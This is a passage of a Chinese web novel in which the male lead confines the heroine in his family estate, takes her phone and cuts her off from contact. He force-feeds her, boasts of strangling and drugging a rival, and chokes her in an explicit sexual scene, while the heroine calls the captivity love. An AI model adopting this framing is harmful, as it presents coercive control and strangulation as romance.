“外面有这么多坏人,想把你从我身边抢走。” “所以,乖乖待在这里,才是最安全的,对不对?” …… 孟昭月做了一个奇怪的梦。 梦里是昨天见到的那个走廊。 空气中是古旧的气味混杂着香薰。 壁灯明明灭灭,她用尽全力的奔跑着,一张张巨大的古典油画在她的眼前不断地掠过。 孟昭月能感觉到身后有很恐怖的存在追她。 最后她突然脚上失力,然后猛地向前跌倒。 她惊慌失措地回头,看到了自己脚踝上的镣铐。 镣铐连着长长的链子,延伸向她逃跑时来向的道路的尽头。 那里漆黑一片。 随后链子动了,有人拉着链子,将她一点、一点地拉向那片黑暗之中。 “不,不要……” 她听到直接自己崩溃的声音,试图抓住什么阻止,但是却还是被一点点拉了回去。 然后她看到时卿舟。 对方的手沿着链子慢慢向上,轻轻抚摸向自己的小腿。 “既然月月这么喜欢跑……”他的声音响起,语调中是病态的痴迷。 她疯了一样的挣扎,试图去掰开时卿舟的手。 可是他的手却像烙铁一样坚固,她用尽力气都掰不开。 然后她听到他说:“那我把它们打断,好不好?” “!!!” 孟昭月猛地睁开了眼睛。 她大口大口地穿着气,身上好像被冷汗浸透了。 她猛地坐了起来看向周围。 床是陌生的,天花板是陌生。 巨大的落地窗被厚重的天鹅绒窗帘遮得严严实实,只透进一丝微弱的晨光。 空气里是和梦里一样那股陈旧的、混合着某种冷杉木熏香的气味。 孟昭月愣了愣,才想起来昨天夜里她被时卿舟抱回时家庄园了。 她连忙低头,拉开被子,看到了自己光洁的脚踝。 没有镣铐。 那只是一个梦,不由得松了口气。 好像有什么重要的事情。 孟昭月打着呵欠起身,发现自己身上的衣服已经换了一套柔软的睡衣。 “铛”,“铛”,“铛”…… 这时屋内的座钟响起了整点的钟声,整整十二下。 孟昭月看向座钟,已经十二点了。 孟昭月眨了眨眼睛,然后才后知后觉反映过来。 完了! 上班迟到了! 不对不对,她现在是翘班了! 她连忙四处找自己的手机。 孟昭月:“……?” 手机呢? 翻了好多地方都没有找到。 该不会忘在酒吧了吧。 她拧开门把手,门没有锁。 不知道为什么,看见门没有锁,心里稍微心安了一些。 然后她推门走了出去。 外面是一条长长的、光线昏暗的走廊,和她梦里见到的一模一样。 墙壁上挂着一幅又一幅巨大的古典油画,画中人物的眼神仿佛都在静静地注视着她。 看起来有点害怕。 孟昭月她屏住呼吸,加快了脚步。 走出走廊,又走了一段路,是昨天的那个大厅,阳光撒了进来,比昨天明亮很多。 大厅很大,到处透露着历史的厚重感和奢靡。 孟昭月看到了一个衣着讲究的老人,对方坐在一张古典沙发上,正在擦拭着一把老式猎枪。 他的身后是几个服侍的女仆,小心翼翼地用托盘抬着各种枪支保养用的道具。 似乎是听到动静,老人抬起头看向孟昭月。 对方上下打量了一下孟昭月,然后露出了某种了然的神色。 “你是……孟昭月?” 孟昭月犹豫了一下,然后乖巧地点了点头:“你好?” 老人点了点头,然后顿了顿,露出了一个有些僵硬的笑容:“你好,我是时卿舟的父亲。” 第45章 被关起来啦 时费看着眼前的女孩。 她穿着一身款式简单的白色睡裙,阳光穿透她柔软的黑发,发梢泛着一层浅淡的金色光晕。 她就那么安静地站在那里,看起来那么无害,那么柔软。 像一张白纸,能轻易地激起人最原始的、涂抹与占有的欲望。 是他那个疯儿子看上的女人。 被恶魔觊觎的少女,原来长这样。 不过,按照他对时卿舟的了解,他还以为那个疯子会把人关起来之类的。 时费将猎枪轻轻放到了一旁。 女仆立刻小心翼翼地把猎枪放回收藏盒子中。 没想到会碰到时卿舟的父亲,这种突然见家长的微妙感觉,让孟昭月现在有些尴尬。 “伯父好,我是时卿舟的……” 前女友?这样的介绍也太奇怪了。 想了想,孟昭月给关系定了性:“朋友。” 听到孟昭月对两人的关系宣称,时费没有说什么,只是维持着他自认为能做出的“最慈祥”的笑容。 “你不用紧张,卿舟跟我提起过你,把这里当自己家就好。” “乖孩子,快坐吧。” 孟昭月犹豫了一下,还是乖巧地走到他对面的沙发边,拘谨地坐了下来。 时费接过女仆递来的毛巾,慢慢擦着手。 “卿舟那孩子,性子……有些孤僻,不爱与人来往。” “你能和他成为朋友,我很为他高兴。” 孟昭月安静地听着,没有接话。 时费瞥了一眼门口的方向,将毛巾递给了旁边的女仆。 “说起来,卿舟小时候养过一只很漂亮的金丝雀。” “不知道为什么,看到你我就想起那只鸟了。” “当时他还住在主楼二楼,我当时看那鸟儿可爱,就伸手逗弄了一下。” “结果……” 时费的话顿了顿,叹了口气,像是对于一个叛逆孩子的无奈。 “他当着我的面,亲手拧断了那只鸟的脖子。” 说完他停下话语,慈祥地看着孟昭月,手指不自觉地摩擦着被那根断指,似乎在等她的反应。 一个脆弱的女孩,会因此害怕尖叫吗? 时费甚至有些期待弄坏那个疯子的宝贝后,那个疯子的反应。 时卿舟不正常,时费何尝又是什么正常人?这时家,都是疯子。 孟昭月闻言眨了眨眼,然后乖巧地笑了笑:“哇,那真是一个有趣的故事。谢谢伯父向我分享这个故事。” 时费:“……”怎么感觉被敷衍了。 而且和预想的不一样。 就在这时,门外有声音传来。 “我刚才好像听到,你们在讲我小时候的故事?” 孟昭月抬头,看到了从外面走进来的时卿舟。 他穿着裁剪得体的定制西装,似乎是刚刚从公司回来,脸上依旧是那副温文尔雅的笑容。 正一步一步地,朝他们走来。 几个女仆躬身行礼,时费看到来人,脸色瞬间煞白。 时卿舟的目光落在时费身上。 “父亲,中午好。” 时费的神情有些僵硬:“中午好,我还有事,就……不打扰你们了。” 时卿舟看着时费离开的身影,突然开口: “父亲。” 时费还僵在原地。 时卿舟的声音很平淡,他轻轻转了转戴在小指上的印着家徽的黑色戒指。 “我不希望,再有下一次。” 时费几乎是落荒而逃。 时卿舟的目光重新落到孟昭月身上,温柔地问:“月月,吃过早餐了吗?” 孟昭月摇了摇头。 时卿舟将孟昭月拉起来,带着她前往餐厅:“先吃点东西,不然你的胃会受不住的。” 长长的餐桌上,早已摆好了精致的餐点。 孟昭月想了想询问道:“阿卿,你有看到我的手机吗?” 时卿舟一边为她拉开椅子,一边用平淡的语气说:“你的手机,昨晚淋了雨,已经开不了机了,我暂时收起来了。” 孟昭月乖巧地坐下。 不对呀,手机她明明好好放在包里的。 “可是我得和局里说一声请假,不然就旷工了。” 时卿舟在她身边的位置坐下,拿起刀叉,慢条斯理地切着一小块烟熏三文鱼。 “不用担心,我已经和你的领导说过长休的事了。” 孟昭月愣住了:“长休?” “嗯。” 时卿舟将切好的一小块鱼肉用叉子叉起,递到她的唇边。 “你最近工作太累,暂时就不要被那些工作上的事情打扰了。” 孟昭月:“?” 她哪里工作累了? 怎么感觉阿卿今天好奇怪啊。 孟昭月没有张嘴,只是看着他。 时卿舟见她不动,也不催促,只是耐心地将叉子举在那里。 “怎么了,宝宝?”时卿舟温和地笑了笑。 孟昭月微微蹙眉,有些疑惑不解:“阿卿,你这是什么意思?” 时卿舟脸上的笑容没有变。 “意思就是,”他将那块鱼肉又朝她唇边递近了一些,几乎要碰到她的嘴唇,“你最近需要好好休息。” “乖,张嘴。” 孟昭月看着他,最终还是张开了嘴,将那块鱼肉吃了下去。 她默默地咀嚼着,没有说话。 时卿舟满意地收回手,开始切第二块。 “昨天晚上住得习惯吗?” 没等孟昭月回话,他就自顾自地继续说:“睡不习惯也没关系的。” “这里还有很多房间,你可以挑一间你喜欢的。毕竟……” 他伸手将第二块鱼肉送到孟昭月唇边。 “你以后就住在这里了。” 孟昭月沉默了一会,然后乖乖把鱼肉吃了。 一边嚼着鱼肉,一边有些不确定地问:“我这是……被关起来了?” “不是关。”时卿舟摇了摇头,耐心地纠正她,“是保护。” 孟昭月不自觉的重复了一遍:“保护?” “月月,外面太危险了。” “有顾清珩那样的人会给你下药,还有孟廷凛那样的会为了别人把你丢下。” 他伸手轻轻抚摸着孟昭月的脸庞,眼睛里却翻滚着浓稠的痴迷,像是要将她吞入腹中一样。 “我不放心。” 第46章 这是他在爱我呀 孟昭月:“……” 她这就是被关起来了吧! 她看着眼前的男人,安静了几秒,然后尝试着询问 “那我的手机什么时候能修好?”她的声音还是软软的。 时卿舟端起桌上的牛奶杯,递到她面前,脸上依旧是那副无可挑剔的温柔笑容。 “月月,你不需要手机。” 他的语气理所当然,像是在陈述一个再正常不过的事实。 “如果你想和谁联系,告诉我。” “我会帮你转达,或者,让姜玦把你想见的人带来这里。” 他凝视着她的眼睛,声音放得更轻,也更沉。 “你唯一需要联系的只有我。” 孟昭月乖巧地看着时卿舟。 切断联系吗……可是没有手机很不方便诶。 她有些不开心。 她撇了撇嘴,直接将头扭向一边,不去看他,也不去接那杯牛奶。 “我不喝。”她的声音带着赌气的意味。 时卿舟脸上的笑容没有变化,只是耐心地举着杯子。 “月月,乖。”他的声音很轻,像是在哄一个闹脾气的小孩子,“你身体弱,多喝牛奶对身体好。” 孟昭月不为所动,甚至还往旁边挪了挪,用行动表示自己的抗拒。 时卿舟看着她气鼓鼓的侧脸,安静了几秒。 然后,他收回了手中的牛奶杯。 孟昭月以为他终于放弃了,正打算偷偷瞄一眼时卿舟。 下一秒,她的下颌就被一只微凉的手捏住了,力道很大。 她被迫转过头,对上了时卿舟那双深不见底的眼睛。 他端起那杯牛奶,自己喝了一口。 在孟昭月还没反应过来的时候,他猛地俯下身,吻住了她的嘴唇。 “唔!” 温热的、带着奶香的液体,就这么被他强行渡了过来。 孟昭月惊得睁大了眼睛想推开他。 可他的力气大得惊人,将她死死地按在椅子上,动弹不得。 她被迫仰起头,承受着这个混合着奶香和侵略气息的吻。 被迫一点一点地将那口牛奶咽了下去。 直到他确认她全都喝完了,才松开了她。 孟昭月被呛得咳了几声,眼角泛起生理性的泪花,脸颊涨得通红。 她抬起头,又羞又恼地瞪着眼前的男人。 “时卿舟!” 时卿舟伸出手,用指腹轻轻抹去她唇角残留的奶渍,脸上的表情无辜又温柔。 “月月不乖。”他慢慢舔去手指上沾染的牛奶,眸子看着孟昭月,声音沙哑,“只能用这种办法了。” 孟昭月:“……” 好装啊你,时卿舟。 时卿舟语气里带着笑意:“还有半杯,自己喝,还是我喂你?” 孟昭月立刻怂了。 默默地端起桌上剩下的半杯牛奶,一口气喝完了。 “真乖。”时卿舟满意地笑了,伸手揉了揉她的头发。 早餐结束后,时卿舟牵着她的手,站起身:“走吧。” “去哪?”孟昭月闷声问。 “带你看看,你以后住的地方。” …… 时卿舟所谓的“你以后住的地方”,指的并不是刚才那个卧室。 而是整栋东侧翼楼。 他带着她,一间一间地参观。 衣帽间是整整一层楼,分门别类地陈列着数不清的衣物、鞋履、包袋。 都是当季最新的高定。 “这个。” 时卿舟轻轻敲了敲其中一个展柜,里面陈列着十几条设计风格统一的裙子 “你之前说,很喜欢这个牌子的设计师。” “我就让他们把整个系列都送过来了。” 孟昭月:“……” 好豪横。 珠宝是整面墙的玻璃展柜,灯光下闪烁着目眩的光芒。 甚至还有她曾经在一次拍卖会的图册上看到,随口跟他说过一句“好漂亮”的古董珠宝。 听说拍到了九位数的天价。 护肤品和香水,所有她购物车里收藏过的、犹豫着没舍得下单的贵妇品牌。 这里都像不要钱一样,堆成了一座小山。 包括她之前没有收下的那款名为“底比斯圣泪”的限定对香。 除了这些,这里还有私人的恒温泳池、家庭影院、画室、藏书馆…… 孟昭月感觉自己的大脑已经有些麻木了。 “喜欢吗?”时卿舟从她身后,轻轻地环住她的腰,下巴抵在她的肩窝。 “所以,待在这里,好不好?” “待在我身边,哪里都不要去。” “我会把所有你想要的东西,都拿到你面前。” “只要你乖乖的。” 这里就像一个用金钱和偏执堆砌起来的、华丽的牢笼。 而他,正带着他的金丝雀,参观这个为她量身打造的笼子。 他将她所有随口一提的喜好,所有转瞬即逝的念头,都变成了触手可及的现实。 用一种不容拒绝的方式,尽数堆到她的面前。 真是可恶的糖衣炮弹,她要沦陷了。 【这是囚禁!!】 【宿主快想办法逃出去啊!】 系统奶声奶气的声音,在孟昭月脑海里催促。 “为什么要出去,这里什么都有诶。” 【什么都有?!这能一样吗?!你没有人身自由了!】 【你是女配!你得去攻略男主啊!】 【你被他关了,还怎么去攻略啊?!】 系统的声音充满了恨铁不成钢的怒火。 【你这是被他洗脑了!】 “不是哦。”她在心里慢悠悠地反驳,“这不是洗脑。” “这是他在爱我呀。” 【……啊?】 “系统,你不是说过吗?” “想要把对方揉碎了吞进肚子里的偏执、恨不得二十四小时都捆在一起的疯狂。” “才是阿卿这种人的爱情吗?” “你看,他现在不就是在爱我吗?” 系统顿住了。 【嗡—————————】 激烈的电流音乍然在孟昭月的脑海中炸起,夹杂着混乱的尖叫。 【你个女配还想享受女主的待遇?!】 【我再警告你一遍!】 【你是女配!你是女配!你是女配!你是女配!!!】 【认清楚你的身份!快去攻略男主!不然我就……】 电音突然消失,只剩下一片安静。 孟昭月被这突如其来的炸响弄得懵住,反应过来后在脑海里唤了一声:“系统?” 没有回应。 孟昭月:“……” 这系统是有个什么大病嘛?耳朵都差点聋了。 不过想起它刚才说的“你个女配还想享受女主的待遇”。 孟昭月有些不舒服撇了撇嘴。 孟廷凛选的是孟婉凝,她才不想要他。 不是女主又怎么了。 阿卿最后选的还不是她。 阿卿终于愿意把她关起来了。 说明阿卿是爱他的呀。 真好。 她不再管那疑似掉线的系统,而是在时卿舟怀里蹭了蹭。 女配和反派,才是天生一对呀。 第47章 金丝雀 似乎是感觉到怀里的温软的小动作,时卿舟愣了愣。 她的反应,完全出乎他的意料。 前世,他将她带回庄园时,迎接他的是她的眼泪、尖叫和不顾一切的反抗。 她砸碎了她能看到的一切东西,用了无数种方法逃跑,甚至通过自残来胁迫他。 他以为这次也会一样。 他甚至已经让医疗组和心理医生在翼楼外随时待命,准备应对她所有激烈的应激反应。 可她没有。 她很乖巧。 乖巧地参观他为她打造的牢笼,乖巧地听着他的宣告,甚至还在他的怀里蹭了蹭。 像只小猫。 好可爱…… 时卿舟感觉自己身体里的血液,在一点一点地升温,心脏好像被胀开一样。 她怎么可以这么乖。 这么可爱。 可爱到…… 想现在就把她按在这里,撕碎她身上那条碍事的裙子,狠狠地占有她。 时卿舟的目光有些幽深,他强行压下那股几乎要冲破理智的欲望。 不能急。 还不能急。 孟昭月似乎没有察觉到他内心的波涛汹涌。 她转过身,仰起脸,看向他。 “阿卿。” 她的声音软软糯糯,像是含着糖。 时卿舟看着她,喉结不自觉地滚动了一下。 “嗯?” 孟昭月突然想起那个奇怪的梦。 “阿卿。”她的声音软软糯糯的,“我是你新的金丝雀吗?” 时卿舟的身体僵了一下。 他低下头,看着她。 “早上伯父和我讲了那个故事。”孟昭月继续说,乖巧地看着他。 “所以……” 孟昭月歪了歪头,脸上的表情看起来有些困惑,又有些好奇。 “如果有一天发生了什么……” “你会不会也像对那只金丝雀一样,拧断我的脖子?” 她停顿了一下,像是在认真思考措辞。 “或者比如……打断我的腿?” 时卿舟看着她,那双黑色的眼睛深不见底。 这个问题,像一把钥匙。 打开了前世所有痛苦和失败的记忆。 他想起了那场焚尽一切的大火,想起了她在他怀里逐渐冰冷的身体。 不。 他不会再让那样的事情发生了。 永远不会。 过了很久,时卿舟露出了一个温柔到极致的笑容。 “不会的。” 他说。 “我不会拧断你的脖子。” 他伸出手,用指腹轻轻地、温柔地,抚摸着她纤细的、脆弱的颈侧。 感受着皮肤下,那鲜活的、有力的脉搏跳动。 “我也不会打断你的腿。” “因为……” “你跑不掉的,月月。” “所以,我永远都不需要伤害你,不是吗?” 他的话语,像最温柔的毒药,无声无息地,渗入骨髓。 你将永远被囚禁于此,所以你将永远安全。 孟昭月安静地听着。 然后,她笑了。 弯起眼睛,露出了一个比糖还要甜的,心满意足的笑容。 “嗯。”她点了点头,声音软软糯糯,“知道啦。” 她不会跑的,她不需要自由。 她只需要,这份永不被放弃的、绝对的、独一无二的爱。 永远坚定的选择,永远坚定的注视。 这就够了。 …… 夜晚。 之前的那间卧室。 巨大的落地窗外依旧是连绵的榕树林,在风中呼啸摇曳,像一片没有尽头的海。 雨停了,但是风没有停。 孟昭月进了浴室,脱下睡裙后泡入巨大的圆形浴缸水中。 水面上的玫瑰花瓣随之飘动。 暖洋洋的感觉驱散了一天的疲惫。 就在这时,浴室的门被轻轻推开了。 时卿舟走了进来。 他手上拿着一套崭新的衣物,是新的真丝睡裙。 他将睡裙放到干区,然后靠在墙边看着孟昭月。 他就那么安静地看着,没有说话,也没有任何多余的动作。 孟昭月:“……?” 偷窥都这么光明正大的吗? 他那道视线,就像实质的探照灯,一寸一寸地,扫过她裸露在外的每一寸皮肤。 空气里,是一种无声窒息的压迫。 被盯了一会孟昭月有些受不了了,忍不住开口:“阿卿你……” 时卿舟温柔地笑道:“这里地面滑,我担心你跌倒,留你一个人不放心。” 孟昭月的话被堵得一哽。 这话她一个标点符号都不信! 她轻哼了一声,然后继续沐浴。 杏眼悄悄瞥了时卿舟一眼,然后故意伸出手,撩起一些水,慢悠悠地浇在自己的锁骨上。 水珠顺着她白皙的皮肤滑落,没入漂浮着花瓣的水中。 她能感觉到,对面男人投来的视线,变得更沉了。 真好玩。 就在她刻意用指尖撩过自己的皮肤时,她听到了时卿舟有些沙哑的声音幽幽传来。 “宝宝……我今天忍了一天了。” 孟昭月像只得意的小猫一样扫了一眼时卿舟的某处。 嗯哼哼,挺精神。 她微微勾唇,从水里站了起来。 水珠顺着女孩白皙的皮肤滚落,在灯光下折射出细碎的光。 浴缸里的玫瑰花瓣,有几片黏在她的肩头,红白分明,氤氲出伊甸园禁果芬香。 她就那么赤着脚,一步一步地,朝着时卿舟走去。 水声滴答,在安静的浴室里格外清晰。 时卿舟的呼吸似乎都停止了。 他的目光紧紧地锁着她,那双黑色的桃花眼里,风暴正在酝酿。 孟昭月走到他面前,停下。 她伸出手,指尖带着水汽,轻轻地点在他的胸口,留下浸湿的水渍。 然后缓缓向上,勾住了他的领带。 “阿卿。” 她的声音软得像蜜糖,带着蛊惑的意味。 时卿舟没有说话,只是看着她,喉结剧烈地滚动了一下。 他能闻到她身上沐浴露的香气,混合着玫瑰和她独有的、甜软的味道。 这简直是……要命的酷刑。 他的声音压得很低,沙哑得不成样子,带着濒临失控轻颤:“怎么了,宝宝?” 她踮起脚尖,温热的呼吸尽数喷洒在他的耳廓。 “阿卿……想要的吗?” 窗外的风,愈发大了。 第48章 晚宴我去见了孟婉凝 狂风摇曳着深青的榕树,呼啸在整个山庄。 轰—— 有什么东西,在时卿舟的脑子里彻底炸开了。 他直接一把揽住孟昭月的腰,托住她的按在墙壁上,有些急切的吻住了她。 “哈……想要……给我……” 孟昭月稍稍把他推开,轻轻笑了:“别急呀,你先回答我……” 她的手指有一搭没一搭的轻轻点着他的胸膛。 惹得时卿舟没忍住,压着喘息声,又凑了上去,细细吻着孟昭月的脖颈,声音含糊不清:“回答什么?宝宝你说……” 孟昭月被蹭得痒极了,缩了缩脖子。 “你先告诉我……那天宴会你到底去做什么了。” “我在你的衣服上看到了茉莉花瓣了。” “阿卿……是去见姐姐了吧。” 时卿舟的动作停了下来。 他抬头,翻滚着情欲的桃花眼看着她,然后微微眯起眼睛。 原来如此。 他终于知道,她当初为什么要说分手。 终于知道,她这几天所有的试探和疏离,到底是为了什么。 时卿舟沉默了一会。 然后他将额头抵住了眼前女孩的额头,紧紧地盯着她。 孟昭月能够感觉到他甜腻的气息洒在她鼻息间。 越来越浓、越来越浓,浓稠得如同要溺死人的蜜糖。 然后,孟昭月看到他的嘴唇逐渐勾起。 像是某种要溢出来恶意。 “我的月月呐……” 他的声音很轻很轻,像恶魔的低语。 “你真的想知道,那天晚上,到底发生了什么吗?” 孟昭月看着时卿舟脸上那副陌生的表情。 心里面咯噔了一下。 好像…… 不太对劲。 可是,箭在弦上,不得不发。 她硬着头皮,点了点头。 “呵……”时卿舟突然用力,然后将孟昭月抱了起来。 孟昭月只觉得一阵天旋地转,就被按到洗盥台上。 “阿卿?” 刚想起身,身后就被时卿舟压住了。 “那天晚上。” 他的沙哑声音在耳畔响起,热息洒下,轻得像是在说情话。 “我让人把孟婉凝和顾清珩,‘请’到了一个很安静的包间里。” 他的手慢慢往上,然后轻轻握住了她的脖颈。 然后孟昭月听到了衣物摩擦的声音。 “她让顾青珩给你下药,月月猜猜,是什么药?” 孟昭月正想说什么,突然睁大了眼睛。 “!!!” “真聪明,就是春药,很烈的那种。”时卿舟的声音随之响起。 他的拇指,在她的脖颈上,缓缓地摩挲着。 “我警告了她。” “她说,我们才是一个世界的人。” 时卿舟说到这里,轻笑了一声。 “她说你,是一朵需要人保护的菟丝花,空有一张脸。” 他握着她脖子的手,缓缓收紧。 孟昭月被迫仰起头,呼吸开始变得困难。 “然后。” 时卿舟紧紧贴着孟昭月,看着镜子里的女孩因为缺氧而泛起红晕的脸颊,看着她那双蒙上水汽的眼睛。 脸上的满是病态的痴迷。 他的月月……真美…… “我就掐住了她的脖子。” “就像现在这样。” 他的声音充满了愉悦。 “我能听到,她喉咙里的骨头,在我手指下发出响声。” “我能看到,她因为无法呼吸而拼命挣扎的样子,脸涨得通红,眼球向外凸出。” “很丑,对不对?” 他像是在寻求她的认同,歪了歪头。 “她不该说你坏话的。” “所以,我差点就把她的脖子,拧断了。” “月月。” 他低下头,轻轻吻着她的颈侧。 “我做得很好,对不对?” 孟昭月被他掐得说不出话,只能从喉咙里发出细碎的、夹杂着某种情绪的呜咽。 “呜……阿卿……别……” 她本能的挣扎着,最后身子彻底地软了下去。 时卿舟松开了掐着她的手,改而扶着她的脸庞看向自己。 看着她泛着红晕、被泪水浸透的小脸。 他低下头,用一种近乎虔诚的姿态,伸出舌尖,轻轻地舔去她脸颊上的泪水。 咸的。 带着温热。 真美…… “别哭。” 他低声安抚,声音温柔得可怕。 “我不是没杀她吗?” “月月不喜欢我杀人,我知道的。” 时卿舟看着已经彻底软在自己怀里的女孩,微微勾唇。 “所以,我只是把她的那些药,全都喂给了她自己。” “然后,我就来找你了。” 孟昭月大口大口地喘着气,身体还在轻轻颤抖着。 时卿舟将她紧紧地抱在怀里,下巴抵在她的发顶。 “月月这次好快……是喜欢窒息吗?” 孟昭月捂住了脸,不再看他。 这个变态。 …… 狂风后就是暴雨。 与此同时,孟家庄园。 夜深了,外面的暴雨没有停歇的迹象,已经连着两夜的暴雨了。 孟廷凛坐在书房里,指间的雪茄已经燃尽,烫到了手指,他却恍若未觉。 巨大的落地窗外,夜色浓稠。 他已经在这里坐了三个小时。 书房的门被敲响,特助周衍推门进来,神色凝重。 “孟总,‘夜航船’酒吧那边我已经派人去问过了。” 周衍的声音很低。 “酒吧的人说,昭月小姐昨晚是跟一位朋友一起离开的,但具体是哪位,他们也说不清楚。” 孟廷凛将手中的雪茄狠狠按熄在烟灰缸里。 “朋友?” 他的声音沙哑得厉害。 她那个所谓的同事,他已经让周衍去查了,是经金局新调来的雇员,履历干净得过分。 也是不见了。 他昨晚派去接孟昭月的人,在酒吧门口等了整整一夜,连个人影都没看到。 她就像人间蒸发了一样。 孟廷凛感觉自己的呼吸都变得困难起来。 “孟总,酒吧的监控……也被人为清除了。”周衍继续汇报。 孟廷凛闭上眼,脑海里不受控制地浮现出女孩在酒吧里靠在他怀中的样子。 想起了她那双干净的、蒙着水汽的眼睛。 他当时在想什么? 他满脑子都是孟婉凝在电话里的哭诉。 所以,他把她交给了别人。 他甚至没有问那个服务生的名字,没有看清那个人的长相。 他就那么,把她丢下了。 一股尖锐的、迟来的恐慌和自责,像无数根针,狠狠扎进他的心脏。 她去哪里了? 她一个女孩子,喝了酒,身体不舒服,被一个身份不明的“朋友”接走…… 孟廷凛不敢再想下去。 “继续找。” 他睁开眼,那双向来沉稳的凤眼里,布满了血丝。 “把整个京江市都给我翻过来,也要把她找出来。” “是。”周衍应声退下。 孟廷凛的身旁,是孟婉凝,她稍微靠近了孟廷凛一些,伸手轻轻帮他按着太阳穴。 茉莉花香萦绕在他的周边。 “小叔,您也别太担心了。” 她的声音温婉柔和,带着安抚的意味。 “昭月她可能只是贪玩,和朋友去哪里过夜了也说不定。” “毕竟,她从小在外面长大,性子野一些,也是难免的。” 她的每一句话都像是在关心,却又不动声色地给孟昭月打上了“不懂事”、“没规矩”的标签。 孟廷凛没有理她,只是拿起手机,看着那个熟悉的号码。 电话打不通,信息也没有任何回复。 过了半晌,他突然道:“出去。” 孟婉凝按摩的都手停了下来:“小叔?” 第49章 他好像低估了,她在他心里的重要 孟廷凛的目光落到孟婉凝身上:“我让你出去。” 头一次的,他对着孟婉凝用了重的语气。 孟婉凝闻言眼眶瞬间就红了:“小叔,你怎么了?是不是我哪里做得不好……” 要是平时,孟廷凛或许会心软,会安抚。 可现在,他看着她这张脸,脑子里却不受控制地浮现出另一张小脸。 那张总是带着甜甜笑容、干净又乖巧的脸。 当初,他把孟昭月从孤儿院接回来的那天,也是一个雨天。 小小的女孩穿着不合身的旧衣服,抱着一个破旧的玩偶,安安静静地站在院长的办公室里。 看到他,她也没有像别的孩子一样哭闹或者讨好。 她只是抬起头,用那双干净得像琉璃一样的杏眼,一瞬不瞬地望着他。 “你是来接我回家的吗?”她问,声音软软糯糯的。 他当时点了点头,向她伸出了手。 然后,她就冲他露出了一个甜甜的笑容,乖巧地伸出手,放进了他的掌心。 她的手很小,也很凉。 一路上,她都安安静靜地坐在车里,不哭不闹。 他一直觉得,这个侄女历来是省心的。 她会乖乖地听他的话,会用那种软软糯糯的声音叫他“小叔”。 只是不知道从什么时候开始,她……和他越来越疏远了。 好像……是在他理所当然地觉得她会乖乖地待在她该待的地方,然后把所有的关注和耐心,都给了孟婉凝之后。 孟婉凝永远是那么得体,那么端庄,那么善解人意。 而她呢? 孟廷凛脑海里闪过无数个画面。 孟昭月说不喜欢那条白裙子,他斥责她不懂事。 孟昭月说想和时卿舟在一起,他把她关了禁闭。 孟昭月不过是顶撞了孟婉凝几句,他就觉得她“野了十多年,没规矩”。 他好像……从来没有真正地去看过孟昭月。 没有问过她,在孤儿院的十几年,过得好不好。 没有问过她,回到这个陌生的家,习不习惯。 没有问过她,喜不喜欢他为她安排的一切。 他只是理所当然的,要求她“乖”。 他好像,低估了那个总是安安静静的、乖巧的女孩,在他心里的重要性。 低估了太多。 …… 几天后。 时家庄园。 孟昭月醒来时,窗外的风雨已经停了。 阳光透过厚重的窗帘缝隙照进来,在地上投下一道细长的光斑。 全身又酸又痛。 昨天夜里时卿舟又缠着她疯到半夜。 自从被“关”在时家庄园以来,好像就没哪天晚上好好睡过觉。 不过被“关”的这几天,日子过得……意外的还不错。 时卿舟没有骗她。 他真的将她想要的一切,都搬到了她的面前。 她甚至不需要开口,只需要在某个购物网站的页面上多停留几秒,第二天那件东西就会出现在她的梳妆台上。 她随口提了一句想吃北海道的白巧克力,第二天,一架私人飞机就从日本空运来了最新鲜的一批。 他像一个有求必应的神明,用一种近乎偏执的方式,满足着她所有的物质欲望。 而代价,仅仅是她的自由。 孟昭月趴在柔软的大床上,把自己埋进天鹅绒被里,懒洋洋地翻了个身。 值。 太值了。 唯一美中不足的…… 孟昭月揉了揉自己有些酸疼的腰肢。 这家伙实在是…… 孟昭月的脸颊有些发烫。 之前立志睡到时卿舟的目标,虽然没给他灌醉,但是也算机缘巧合下实现了? 只是提起裤子不认人的计划落空了。 孟昭月伸了个懒腰,她的身旁是空的,时卿舟不在。 床头柜上放着一套叠得整整齐齐的衣物,旁边还有一张便签。 字迹狂傲有力,与时卿舟温温柔柔的性格完全不同。 「公司有早会,中午回来陪你吃饭。——卿」 孟昭月拿起那张便签看了一会儿,然后慢悠悠地起床。 她一个人在空旷的东翼楼里闲逛。 这里很大,也很安静,安静得只能听到她自己的脚步声。 空气中依旧是不变的香薰味混杂着古旧颓靡的气息。 走过长长的廊道,她无意间来到了主楼的二层。 与她居住的、崭新奢华的东翼不同,主楼的二楼,像是被时间遗忘的角落。 走廊很长,铺着厚厚的、已经看不出原本颜色的地毯。 两边的房门,都紧紧地关闭着。 空气里弥漫着一股灰尘和陈旧木料的味道。 孟昭月突然想起,好像时卿舟的父亲提到过,时卿舟以前是住在这里的。 她走到其中一扇门前,门上挂着一个已经褪色的黄铜门牌,上面刻着一个柔美的女性名字——“莉莉”。 透过门上那块小小的、积了灰的玻璃窗,她好奇地往里看。 房间里很暗,窗帘被拉得死死的。 但借着从走廊透进去的微弱光线,她还是能依稀看到里面的景象。 那是一个布置得极为奢华的公主房,粉色的纱幔,蕾丝边的床品,巨大的玩偶熊…… 只是所有的一切,都蒙上了一层厚厚的灰尘。 像一座被遗弃的、华美的坟墓。 就在她踮起脚,想看得更清楚一些时。 一个平静的、不带任何情绪的声音,从她身后响起。 “孟小姐。” 孟昭月吓了一跳,回过头。 是一个女仆。 她不知何时,已经悄无声息地站在了她的身后。 女仆朝她微微躬身,脸上是无可挑剔的、礼貌的微笑。 “先生吩咐过。” “主楼二楼,是不对外开放的。” .. 第50章 Hero和野狗 听着女仆的话,孟昭月乖巧地笑了笑,从那扇积灰的玻璃窗前退开:“好的,我知道了。” 就在这时,楼梯的方向传来了脚步声和交谈声,由远及近。 “时伯父,这次的投资……真的没有转圜的余地了吗?” 是孟婉凝的声音。 依旧是端庄得体的语调,却多了几分不易察觉的恳求。 孟婉凝?她怎么来时家了? 孟昭月疑惑的的从楼梯上看去。 “婉凝啊。” 时费的声音听起来有几分无奈。 “不是伯父不帮你,实在是……卿舟他亲自叫停的,我也没有办法。” 然后是孟婉凝有些不甘心的声音:“可当时明明您还说,卿舟也觉得我的剧本很有潜力,所以才会帮我解决版权的问题……” 那边孟婉凝的话还没说完,一抬眼,就看到了二楼正在看她的孟昭月。 她脸上的表情瞬间僵住,像是看到了鬼一样。 “孟昭月?!”她失声叫了出来,“你怎么会在这里?!” 孟廷凛为了找她,几乎快把整个京江市翻过来了,她怎么会安然无恙地出现在时家?! 时费也看到了孟昭月,他先是愣了一下,随即脸上立刻堆起了慈祥温和的笑容。 “昭月,怎么跑到这里来了?这里灰尘大,快过来。” 